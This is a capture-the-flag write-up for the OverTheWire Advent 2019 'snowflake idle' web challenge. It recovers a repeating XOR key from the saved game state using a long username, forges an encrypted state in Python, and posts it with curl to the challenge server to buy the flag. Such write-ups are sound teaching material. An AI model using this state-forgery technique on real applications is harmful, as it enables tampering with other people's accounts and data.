OverTheWire Advent Bonanza 2019: day-17 snowflake idle

Unsuccessful attempts

Manipulating the session ID

The server generates an ID upon starting the game, e. g. /B5JdjWnoW4oUb7FMPGELnQo7WuQyVJ3Wr7N931EZtg=. That ID is used as a session identifier. Collecting 1000 samples of fresh IDs and running ent on it shows that it cannot be ruled out that the ID is randomly generated:

Entropy = 7.994904 bits per byte.

Optimum compression would reduce the size
of this 32000 byte file by 0 percent.

Chi square distribution for 32000 samples is 224.32, and randomly
would exceed this value 91.73 percent of the times.

Arithmetic mean value of data bytes is 127.7340 (127.5 = random).
Monte Carlo value for Pi is 3.157697356 (error 0.51 percent).
Serial correlation coefficient is -0.006148 (totally uncorrelated = 0.0).

Analyzing and playing with the session ID turned out to be a dead-end.

Melting more snow flakes than available

It is possible to melt more snow flakes than collected, however, this was a dead-end as well. The snow flake count simply went negative, no underflow happened.

Manipulating requests to the ``client`` endpoint

Any given action to the /client endpoint is saved as-is in the database and will be happily returned by the /history/client endpoint. Unfortunately, this is not an XSS challenge and this did not really allowed us to do anything useful.

Endpoints

Since the source code of the challenge is not released, we basically have to resort to educated guessing. Since the session identifier does not seem to be vulnerable in any obvious way, we investigated the endpoints.

POST /control

{"action":"new","name":"username"}

POST /client

{"action":"collect","amount":1}

[
    [
        1576940433927,
        {
            "action": "state"
        }
    ],
    [
        1576940435274,
        {
            "action": "collect",
            "amount": 1
        }
    ],
    ...
]

[
   [
      1578852889691,
      {
         "action" : "load"
      }
   ],
   [
      1578852889691,
      {
         "data" : "nQZ2wk0avgzGKhYR4Sy5io/o55SCBiGNElPnDJJrS1rzOrmKievng4hFdsgBAg==",
         "action" : "save"
      }
   ],
(...)
]

Getting the key

We then tried to use a really long username like xxx...xxx (200 times x repeated) to check if we can spot a pattern in the data.

This was actually quite successful (spaces added for better readability):

80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3

dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK

0s/Q==

Clearly a pattern emerged because parts of the ciphertext repeated itself. This is obviously bad!

The hypothesis that we came to was that the username has to be obviously included in the ciphertext and the ciphertext is only XORed with the key. The key repeats itself because we can see patterns. This means that it should be possible to retrieve the key by XORing everything with repeated 'x'.

>>> binascii.hexlify(bytes(data[i] ^ ord(b'x') for i in range(len(data))))
b'8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f0e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d55485'

Reformatting the result makes the repeating pattern obvious:

8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f

0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5

5485

However, it is unlikely that the key starts with the beginning of the x sequence. Therefore we will try all possible combinations (luckily there are only 20):

import base64
import binascii

def key_candidate(key):
    for i in range(len(key)):
        yield key[i + 1:] + key[:i + 1]


data = base64.b64decode('80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK0s/Q==')
key = binascii.unhexlify('0e8030e88865729c2fab0a6956239f3a994b60d5')

for key in key_candidate(key):
    plaintext = "".join(chr(data[i] ^ key[i % len(key)]) for i in range(len(data)))
    try:
        plaintext.encode("ascii")
        print("Found key: {}".format(binascii.hexlify(key)))
        print(plaintext)
    except:
        continue

This will print the key that was used because all other key candidates do not decrypt the ciphertext to plain ASCII:

Found key: b'8865729c2fab0a6956239f3a994b60d50e8030e8'
{"money": 0.0, "speed": 1, "name": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Note: The key is actually derived from the ID that is sent back to the client by calculating the SHA1 hash of the binary ID (see the source code of the challenge which was released after the deadline: https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101)

Setting the state

With the key it is now easy to decrypt and encrypt arbitrary data.

import hashlib
import base64


def encrypt(data, ID):
    key = hashlib.sha1(base64.b64decode(ID)).digest()
    data = data.encode()
    ciphertext = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
    return base64.b64encode(ciphertext)


print(encrypt('{"money": 5.0, "speed": 10e63, "name": "username"}', 'OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o='))

We now have to send the new state with the collection speed 10e63 to the server. The /control endpoint supports save as an action which will overwrite the state of the game.

$ curl 'http://3.93.128.89:1217/control' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"save","data":"nQZ2wk0avgzGKhMR4Sy5io/o55SCBiGNEk/3Hsw6Fg/9ILvGnfXn09wEOdhQGrVAnWdDHaw="}'

Now we check if the state was successfully changed:

$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}'
{"collect_speed":1e+64,"elf_name":"username","flag":"AOTW{leaKinG_3ndp0int5}","snowflakes":9e+63,"speed_upgrade_cost":1e+300}

Very good! Now we can buy the flag.

$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"buy_flag"}'

The flag is now part of the state response:

$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' | json_pp
{
   "snowflakes" : 9e+63,
   "flag" : "AOTW{leaKinG_3ndp0int5}",
   "speed_upgrade_cost" : 1e+300,
   "elf_name" : "username",
   "collect_speed" : 1e+64
}

The flag is: AOTW{leaKinG_3ndp0int5}